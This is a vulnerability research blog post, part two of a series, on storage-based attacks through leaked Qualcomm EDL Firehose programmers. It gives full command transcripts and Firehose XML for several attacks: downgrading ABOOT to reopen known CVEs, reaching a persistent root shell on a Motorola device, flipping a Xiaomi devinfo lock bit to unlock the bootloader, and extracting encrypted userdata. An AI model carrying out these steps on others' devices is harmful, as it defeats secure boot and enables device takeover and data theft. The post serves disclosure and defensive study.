Exploiting Qualcomm EDL Programmers (2): Storage-based Attacks & Rooting

By Roee Hay (@roeehay) & Noam Hadad
January 22, 2018

In the previous chapter we presented Qualcomm Sahara, EDL and the problem of the leaked Firehose programmers. We ended the blog post by describing two types of potential attacks: Storage-based and memory-based. This chapter of our series is dedicated to the former.

It’s a well-known fact that by having Firehose access, one may flash arbitrary partitions, by using the program and patch tags. It’s a bit less-known that Firehose also allows reading arbitrary partitions, by using the read tag, which unsurprisingly enables data exfiltration (possibly encrypted, depending on the partition).

It should be clarified that having a secure chain-of-trust implies that such storage-based attacks cannot immediately achieve arbitrary code execution by replacing the bootloader chain, as replacing authentic code with a tampered one can be detected by the loading entity. Despite that, such a capability may enable enough leeway for the attacker to defeat secure boot, as we will see next.


Although every part of the bootloader chain is digitally-signed and verified (each part by its loader), one may still downgrade arbitrary partitions by flashing old images, that have a correct signature.

This problem is generally tackled by Qualcomm, using qFuses, to revoke old images. This is achieved by including a version field in the signed bootloader image header, that can be increased in order to revoke old images. Despite that, many OEMs, do not employ this anti-rollback capability, which implies that attackers can downgrade flashable parts of the bootloader chain (e.g. SBL / ABOOT / TZ). Any partition which is consequently verified by the bootloader chain can be downgraded too.

This allows for exploitation of old vulnerabilities. For example, the following shows how we downgraded ABOOT of a OnePlus 3T device in order to exploit old vulnerabilities we had previously found in it, that enabled a secure boot bypass. Before the attack, the device had a ABOOT version patched for CVE-2017-5626 and CVE-2017-5624:

$ fastboot oem disable_dm_verity
FAILED (remote: unknown command)
finished. total time: 0.020s
$ fastboot oem 4F500301
FAILED (remote: unknown command)
finished. total time: 0.020s

Downgrading ABOOT through Firehose using our tool:

> firehorse.py -t oneplus3t target write_partition aboot aboot-old.bin 

This sends behind the scenes the following XML through Firehose:

  <configure ZlpAwareHost="1" SkipStorageInit="0" TargetName="8974" SkipWrite="0" AckRawDataEveryNumPackets="100" MaxPayloadSizeToTargetInBytes="32768" MemoryName="ufs" />
  <program SECTOR_SIZE_IN_BYTES="4096" file_sector_offset="0" filename="emmc_appsboot-4.0.3.mbn" label="aboot" num_partition_sectors="2048" partofsingleimage="false" physical_partition_number="4" readbackverify="false" size_in_KB="8192.0" sparse="false" start_byte_hex="0x990a000" start_sector="39178"/>
  <program SECTOR_SIZE_IN_BYTES="4096" file_sector_offset="0" filename="emmc_appsboot-4.0.3.mbn" label="abootbak" num_partition_sectors="2048" partofsingleimage="false" physical_partition_number="4" readbackverify="false" size_in_KB="8192.0" sparse="false" start_byte_hex="0xa10a000" start_sector="41226"/>

Indeed, ABOOT has been downgraded, and is now vulnerable to CVE-2017-5626 and CVE-2017-5624:

$ fastboot oem disable_dm_verity
OKAY [  0.045s]
finished. total time: 0.045s
$ fastboot oem 4F500301
OKAY [  0.020s]
finished. total time: 0.020s

Another PoC is demonstrated in the Motorola Bootloader (also has a leaked programmer, although it does not seem to implement Firehose, but rather an older protocol). Using this attack we downgrade it to a CVE-2016-10277 susceptible version, that also defeats secure boot.

We begin with an ADB shell running on a device with a patched ABOOT. We end with a persistent root shell (i.e. untethered jailbreak) by exploiting CVE-2016-10277. Please note that our test device has a re-locked Android Bootloader, and Google was not able to reproduce our PoC.

+ adb wait-for-device shell getprop ro.build.fingerprint
+ adb shell id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0
+ adb reboot edl
+ sudo ./edl/qboot blank-flash ./edl/programmer.mbn ./edl/singleimage.bin
< waiting for device >
opening device: /dev/ttyUSB0
OKAY [  0.000s]
greeting device for command mode
OKAY [  0.001s]
identifying device
...serial = 0xE4860D
...chip-id = 0x901
...chip-rev = 0x0
...sv-sbl = 0x0
OKAY [  0.002s]
finding files
...programmer = ./edl/programmer.mbn
...singleimage = ./edl/singleimage.bin
OKAY [  0.000s]
validating files
OKAY [  0.001s]
switching to download mode
OKAY [  0.000s]
greeting device for image downloading
OKAY [  0.000s]
sending programmer
OKAY [  0.006s]
flashing singleimage
OKAY [  3.120s]
rebooting target
OKAY [  0.000s]
finished. total time:   3.131s
+ fastboot getvar version-bootloader
version-bootloader: moto-apq8084-71.08(*)
finished. total time: 0.002s
+ fastboot flash partition img/gpt.bin
(bootloader) has-slot:partition: not found
target reported max download size of 536870912 bytes
sending 'partition' (32 KB)...
OKAY [  0.003s]
writing 'partition'...
OKAY [  0.063s]
finished. total time: 0.067s
+ fastboot flash aboot img/bootloader.aboot-n6f26y.img
+ fastboot reboot-bootloader
+ fastboot getvar version-bootloader
version-bootloader: moto-apq8084-72.02(*)
finished. total time: 0.002s
+ fastboot oem config fsg-id a initrd=0x11000000,1519997
+ fastboot flash aleph ./img/initroot-shamu-aosp-nmf26f.cpio.gz
+ fastboot continue

+ adb wait-for-device
+ adb push ./img/bootloader.aboot-n6f26y.img ./img/bootloader.aboot-n6f27e.img ./img/initroot-shamu-aosp-nmf26f.img ./img/radio.modem-n6f27e.img /data/local/tmp
./img/bootloader.aboot-n6f26y.img: 1 file pushed. 19.9 MB/s (1048576 bytes in 0.050s)
./img/bootloader.aboot-n6f27e.img: 1 file pushed. 18.8 MB/s (1048576 bytes in 0.053s)
./img/initroot-shamu-aosp-nmf26f.img: 1 file pushed. 17.4 MB/s (8728576 bytes in 0.479s)
./img/radio.modem-n6f27e.img: 1 file pushed. 19.6 MB/s (117440512 bytes in 5.715s)
4 files pushed. 19.4 MB/s (128266240 bytes in 6.302s)
+ adb shell dd of=/dev/block/platform/msm_sdcc.1/by-name/modem if=/data/local/tmp/radio.modem-n6f27e.img
+ adb shell dd of=/dev/block/platform/msm_sdcc.1/by-name/boot if=/data/local/tmp/initroot-shamu-aosp-nmf26f.img
+ adb shell dd of=/dev/block/platform/msm_sdcc.1/by-name/aboot if=/data/local/tmp/bootloader.aboot-n6f27e.img
+ adb shell dd of=/dev/block/platform/msm_sdcc.1/by-name/abootBackup if=/data/local/tmp/bootloader.aboot-n6f27e.img
+ adb shell rm -fr /data/local/tmp/*.img
+ adb reboot bootloader
+ fastboot getvar version-bootloader
+ fastboot oem config fsg-id
OKAY [  0.008s]
finished. total time: 0.008s
+ fastboot continue
OKAY [  0.002s]
finished. total time: 0.002s
+ adb wait-for-device shell getprop ro.build.fingerprint
+ adb shell id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0
+ adb shell
shamu:/ #

Bootloader Unlocking

For some devices, such as several Xiaomi ones, partition flashing is sufficient for being able to unlock the Android Bootloader (which disables the verification of the rest of the chain):

[Primary Bootloader (PBL)]
 `---NORMAL BOOT---.
                   [Secondary Bootloader (SBL)]
                   | [Applications Bootloader (ABOOT)]
                   | `-.
                   |   [boot.img]
                   |   |-- Linux Kernel
                   |    `-- initramfs
                   |       `-.
                   |        [system.img]

The bootloader locking bit of such devices is held in the devinfo partition, parsed by the Android Bootloader.

Attackers can simply flip the lock bit, to load an arbitrary boot image. This will not cause any factory reset.

Reading devinfo using our framework prior to the attack yields the following output:

> firehorse.py -t ugglite target read_partition devinfo
> hexdump devinfo.bin
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

00000000  41 4E 44 52 4F 49 44 2D 42 4F 4F 54 21 00 00 00  ANDROID-BOOT!...
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000040  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000050  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

Setting 1 at offsets 0x10, 0x18, and flashing the modified devinfo will unlock the bootloader:

> firehorse.py -t ugglite target write_partition devinfo devinfo-modified
> fastboot oem device-info
(bootloader) 	Device tampered: false
(bootloader) 	Device critical unlocked: true

This unlocks the bootloader, and disables the verification of boot.img.

Flashing our tampered boot.img (by using fastboot or firehose) (with a modified init such that SELinux is not initialized, and a modified adbd that lacks (1) authorization (2) capabilities drop (3) setuid/gid to shell), will give a root shell with permissive SELinux:

> fastboot flash boot target/ugglite/boot-ugglite-root.img
> adb shell
ugglite:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:shell:s0
ugglite:/ # getenforce

Data Extraction

By using the read tag, (encrypted) data can be extracted from flash. For example, the following XML extracts the encrypted userdata partition of Xiaomi Note 5A.

<?xml version="1.0" ?>
<program SECTOR_SIZE_IN_BYTES="512" file_sector_offset="0" filename="userdata.img" label="userdata" num_partition_sectors="1572864" physical_partition_number="0" size_in_KB="3145728.0" sparse="true" start_byte_hex="0x13c000000" start_sector="10354688"/>

Upcoming Next: Memory-based Attacks

In the part we demonstrated that having storage-write access is sufficient, for some Qualcomm-based device, to conduct attacks against Secure Boot, in addition to (encrypted) data extraction. In the next part we will raise the bar even higher, and present a much more powerful memory-based attack – arbitrary code execution in the context of the Firehose programmers themselves!